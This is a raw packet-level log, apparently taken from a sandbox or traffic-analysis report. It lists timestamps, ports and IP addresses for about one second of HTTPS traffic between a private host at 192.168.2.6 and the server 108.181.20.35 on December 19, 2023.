Dec 19, 2023 05:18:31.095293045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.095310926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.095343113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.095350027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.095376015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.095392942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.138323069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.138356924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.138470888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.138504982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.138546944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.233114004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.233149052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.233390093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.233417988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.233460903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.244138002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.244170904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.244343996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.244370937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.244415998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.248919964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.248949051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.249018908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.249042034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.249078035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.253220081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.253245115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.253293991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.253317118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.253329992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.253350973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.257926941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.257951975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.258017063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.258040905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.258081913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.272653103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.272691011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.272789955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.272833109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.272967100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.274873972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.274895906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.274970055 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.274992943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.275032997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.292521954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.292555094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.292660952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.292695999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.292841911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.294157028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.294187069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.294234037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.294251919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.294271946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.294290066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.364434958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.364470005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.364727974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.364775896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.364819050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.418684959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.418720007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.418802023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.418853998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.418870926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.418895006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.429465055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.429491997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.429603100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.429632902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.429682016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.434297085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.434323072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.434417963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.434442997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.434479952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.438990116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.439008951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.439095020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.439119101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.439162970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.443203926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.443223000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.443306923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.443329096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.443366051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.457798958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.457818985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.457921982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.457942963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.457992077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.460226059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.460253954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.460308075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.460321903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.460357904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.477665901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.477708101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.477790117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.477827072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.477869034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.481148958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.481178045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.481229067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.481245041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.481283903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.550518990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.550549030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.550587893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.550611973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.550628901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.550648928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.611546040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.611578941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.611634016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.611669064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.611681938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.611709118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.614718914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.614747047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.614782095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.614799976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.614818096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.614835978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.620520115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.620543957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.620611906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.620635033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.620671034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.624073029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.624095917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.624161959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.624178886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.624214888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.628313065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.628340960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.628418922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.628434896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.628469944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.643683910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.643714905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.643802881 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.643829107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.643863916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.645473003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.645489931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.645541906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.645558119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.645595074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.662677050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.662714958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.662827015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.662861109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.662900925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.664956093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.664973021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.665029049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.665051937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.665066957 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.665086985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.735507011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.735538960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.735759974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.735795975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.735846996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.797207117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.797239065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.797382116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.797427893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.797477007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.800239086 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.800259113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.800332069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.800359011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.800396919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.806058884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.806097031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.806137085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.806171894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.806190968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.806207895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.809257984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.809276104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.809329987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.809351921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.809391022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.816458941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.816479921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.816647053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.816668987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.816715956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.828706980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.828730106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.828808069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.828829050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.828955889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.830768108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.830790043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.830837965 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.830854893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.830894947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.847855091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.847887039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.847965002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.848006010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.848148108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.851530075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.851552963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.851608038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.851630926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.851670027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.921350002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.921384096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.921468019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.921500921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.921547890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.982678890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.982711077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.982861996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.982903004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.982948065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.985519886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.985542059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.985594988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.985618114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.985657930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.991069078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.991091967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.991146088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.991163015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.991199970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.994339943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.994363070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.994417906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:31.994431019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:31.994468927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.002274036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.002300978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.002351999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.002367020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.002401114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.014117002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.014153004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.014197111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.014223099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.014235020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.014264107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.016995907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.017023087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.017072916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.017079115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.017116070 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.033132076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.033160925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.033368111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.033401012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.033437014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.038780928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.038801908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.038865089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.038887024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.038933039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.066031933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.066055059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.066145897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.066160917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.066204071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.171873093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.171900034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.171945095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.171945095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.171971083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.171984911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.171991110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.172004938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.172032118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.172038078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.172075987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.176650047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.176683903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.176712990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.176742077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.176760912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.176779985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.179433107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.179481030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.179497004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.179503918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.179529905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.179543018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.187189102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.187210083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.187249899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.187279940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.187295914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.187319994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.199312925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.199330091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.199393988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.199404955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.199443102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.203789949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.203805923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.203859091 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.203875065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.204054117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.218492031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.218528986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.218568087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.218583107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.218749046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.218750000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.223975897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.223994017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.224051952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.224061012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.224097013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.251733065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.251761913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.251956940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.251987934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.252034903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.361942053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.361975908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.362194061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.362229109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.362262964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.362838984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.362860918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.362890959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.362899065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.362921953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.362941027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.365539074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.365561962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:32.365597963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:32.365614891 CET	443	49718	108.181.20.35	192.168.2.6
